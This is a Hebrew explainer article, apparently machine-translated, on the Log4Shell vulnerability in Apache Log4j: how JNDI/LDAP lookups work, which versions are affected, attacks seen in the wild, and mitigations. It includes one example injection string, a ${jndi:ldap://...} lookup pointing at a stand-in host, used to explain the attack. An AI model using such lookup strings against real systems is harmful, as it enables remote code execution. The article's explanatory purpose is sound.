תוכן העניינים[להתחבא][הופעה]
בסוף נובמבר 2021, חשפנו איום גדול על אבטחת הסייבר. ניצול זה עשוי להשפיע על מיליוני מערכות מחשב ברחבי העולם.
זהו מדריך על הפגיעות של Log4j וכיצד פגם עיצובי שהתעלם ממנו השאיר למעלה מ-90% משירותי המחשבים בעולם פתוחים לתקיפה.
Apache Log4j הוא כלי רישום מבוסס ג'אווה בקוד פתוח שפותח על ידי קרן תוכנת Apache. נכתב במקור על ידי Ceki Gülcü בשנת 2001, הוא כעת חלק מ- Apache Logging Services, פרויקט של קרן תוכנת Apache.
חברות ברחבי העולם משתמשות בספריית Log4j כדי לאפשר כניסה ליישומים שלהן. למעשה, ספריית Java כל כך נפוצה, שאפשר למצוא אותה ביישומים של אמזון, מיקרוסופט, גוגל ועוד.
הבולטות של הספרייה פירושה שכל פגם פוטנציאלי בקוד עלול להשאיר מיליוני מחשבים פתוחים לפריצה. ב-24 בנובמבר 2021, א אבטחת ענן חוקר שעובד עבור עליבאבא גילה פגם נורא.
הפגיעות של Log4j, הידועה גם בשם Log4Shell, התקיימה ללא תשומת לב מאז 2013. הפגיעות אפשרה לשחקנים זדוניים להריץ קוד במערכות מושפעות שבהן פועלות Log4j. זה נחשף בפומבי ב-9 בדצמבר 2021
מומחי תעשייה מכנים את הפגם של Log4Shell ה הפגיעות הגדולה ביותר בזיכרון האחרון.
בשבוע שלאחר פרסום הפגיעות, צוותי אבטחת סייבר זיהו מיליוני התקפות. כמה חוקרים אפילו צפו בקצב של למעלה ממאה התקפות לדקה.
איך זה עובד?
כדי להבין מדוע Log4Shell כל כך מסוכן, עלינו להבין למה הוא מסוגל.
הפגיעות של Log4Shell מאפשרת ביצוע קוד שרירותי, מה שאומר בעצם שתוקף יכול להריץ כל פקודה או קוד על מחשב יעד.
איך זה משיג את זה?
ראשית, עלינו להבין מהו ה-JNDI.
ממשק Java Naming and Directory (JNDI) הוא שירות Java המאפשר לתוכניות Java לגלות ולחפש נתונים ומשאבים באמצעות שם. שירותי ספרייה אלו חשובים מכיוון שהם מספקים קבוצה מאורגנת של רשומות למפתחים שניתן להתייחס אליהם בקלות בעת יצירת יישומים.
ה-JNDI יכול להשתמש בפרוטוקולים שונים כדי לגשת לספרייה מסוימת. אחד מהפרוטוקולים הללו הוא Lightweight Directory Access Protocol, או LDAP.
כאשר רושמים מחרוזת, log4j מבצע החלפות מחרוזות כאשר הם נתקלים בביטויים של הצורה ${prefix:name}
.
לדוגמה, Text: ${java:version}
עשוי להיות מתועד כטקסט: Java גרסה 1.8.0_65. תחליפים מסוג זה הם דבר שבשגרה.
יכולים להיות לנו גם ביטויים כגון Text: ${jndi:ldap://example.com/file}
שמשתמשת במערכת JNDI כדי לטעון אובייקט Java מכתובת URL דרך פרוטוקול LDAP.
פעולה זו טוענת למעשה את הנתונים המגיעים מאותה כתובת URL לתוך המחשב. כל האקר פוטנציאלי יכול לארח קוד זדוני בכתובת URL ציבורית ולהמתין למכונות המשתמשות ב-Log4j כדי לרשום אותו.
מכיוון שהתוכן של הודעות היומן מכיל נתונים בשליטת המשתמש, האקרים יכולים להכניס הפניות JNDI משלהם המצביעות על שרתי LDAP שהם שולטים בהם. שרתי LDAP אלה יכולים להיות מלאים באובייקטי Java זדוניים שה-JNDI יכול להפעיל באמצעות הפגיעות.
מה שמחמיר את זה הוא שזה לא משנה אם האפליקציה היא צד שרת או אפליקציה בצד לקוח.
כל עוד יש דרך ללוגר לקרוא את הקוד הזדוני של התוקף, האפליקציה עדיין פתוחה לניצול.
מי מושפע?
הפגיעות משפיעה על כל המערכות והשירותים המשתמשים ב-APache Log4j, עם גרסאות 2.0 עד וכולל 2.14.1.
מספר מומחי אבטחה מייעצים שהפגיעות עשויה להשפיע על מספר יישומים המשתמשים ב-Java.
הפגם התגלה לראשונה במשחק הווידאו Minecraft שבבעלות מיקרוסופט. מיקרוסופט קראה למשתמשים שלהם לשדרג את תוכנת Minecraft מהדורת Java שלהם כדי למנוע כל סיכון.
ג'ן איסטרלי, מנהלת הסוכנות לאבטחת סייבר ותשתיות (CISA) אומרת שלספקים יש אחריות גדולה כדי למנוע ממשתמשי קצה גורמים זדוניים לנצל את הפגיעות הזו.
"הספקים צריכים גם לתקשר עם הלקוחות שלהם כדי להבטיח שמשתמשי הקצה יודעים שהמוצר שלהם מכיל את הפגיעות הזו ועליהם לתעדף עדכוני תוכנה."
לפי הדיווחים, ההתקפות כבר החלו. Symantec, חברה המספקת תוכנת אבטחת סייבר, צפתה במספר מגוון של בקשות תקיפה.
הנה כמה דוגמאות לסוגי התקפות שחוקרים זיהו:
- botnets
Botnets הם רשת של מחשבים הנמצאים בשליטה של צד תוקף יחיד. הם עוזרים לבצע התקפות DDoS, גניבת נתונים והונאות אחרות. חוקרים צפו ב-Muhstik botnet בסקריפטים של מעטפת שהורדו מ-Log4j exploit.
- XMRig Miner טרויאני
XMRig הוא כורה מטבעות קריפטוגרפיים בקוד פתוח שמשתמש במעבדים כדי לכרות את האסימון Monero. פושעי סייבר יכולים להתקין XMRig במכשירים של אנשים כדי שיוכלו להשתמש בכוח העיבוד שלהם ללא ידיעתם.
- תוכנת כופר של Khonsari
תוכנת כופר מתייחסת לסוג של תוכנות זדוניות שנועדו להצפין קבצים במחשב. לאחר מכן, התוקפים יכולים לדרוש תשלום בתמורה להחזרת גישה לקבצים המוצפנים. חוקרים גילו את תוכנת הכופר Khonsari בהתקפות Log4Shell. הם מכוונים לשרתי Windows ועושים שימוש במסגרת NET.
מה קורה עכשיו?
מומחים צופים שייתכן שיחלפו חודשים ואולי אפילו שנים לתקן במלואו את הכאוס שהביאה לפגיעות Log4J.
תהליך זה כולל עדכון של כל מערכת מושפעת עם גרסה מתוקנת. גם אם כל המערכות הללו מתוקנות, עדיין קיים האיום הממשמש ובא של דלתות אחוריות אפשריות שאולי האקרים כבר הוסיפו לחלון שהשרתים היו פתוחים להתקפה.
רב פתרונות והפחתות קיים כדי למנוע ניצול של יישומים על ידי באג זה. הגרסה החדשה של Log4j 2.15.0-rc1 שינתה הגדרות שונות כדי להפחית את הפגיעות הזו.
כל התכונות המשתמשות ב-JNDI יושבתו כברירת מחדל וגם חיפושים מרחוק הוגבלו. השבתת תכונת החיפוש בהגדרת Log4j שלך תעזור להפחית את הסיכון לניצול אפשרי.
מחוץ ל-Log4j, עדיין יש צורך בתוכנית רחבה יותר למניעת ניצול קוד פתוח.
מוקדם יותר במאי, הבית הלבן פרסם א - הזמנה שמטרתה לשפר את אבטחת הסייבר הלאומית. הוא כלל הוראה עבור תוכנה ביל אוף חומרים (SBOM) שהיה בעצם מסמך רשמי שהכיל רשימה של כל פריט הדרוש לבניית האפליקציה.
זה כולל חלקים כגון קוד פתוח חבילות, תלות וממשקי API המשמשים לפיתוח. למרות שהרעיון של SBOMs מועיל לשקיפות, האם זה באמת יעזור לצרכן?
שדרוג תלות עשוי להיות טרחה רבה מדי. חברות יכולות פשוט לבחור לשלם כל קנס במקום להסתכן בבזבוז זמן נוסף במציאת חבילות חלופיות. אולי SBOMs אלה יהיו שימושיים רק אם שלהם היקף מוגבל יותר.
סיכום
בעיית Log4j היא יותר מסתם בעיה טכנית עבור ארגונים.
מנהיגים עסקיים חייבים להיות מודעים לסיכונים פוטנציאליים שעלולים להתרחש כאשר השרתים, המוצרים או השירותים שלהם מסתמכים על קוד שהם עצמם אינם מתחזקים.
הסתמכות על יישומי קוד פתוח וצד שלישי תמיד כרוכה בסיכון מסוים. חברות צריכות לשקול לבנות אסטרטגיות להפחתת סיכונים לפני שאיומים חדשים יתגלו.
חלק גדול מהאינטרנט מסתמך על תוכנת קוד פתוח המתוחזקת על ידי אלפי מתנדבים ברחבי העולם.
אם אנחנו רוצים לשמור על הרשת במקום בטוח, ממשלות ותאגידים צריכים להשקיע במימון מאמצי קוד פתוח וסוכנויות אבטחת סייבר כמו CISA.
השאירו תגובה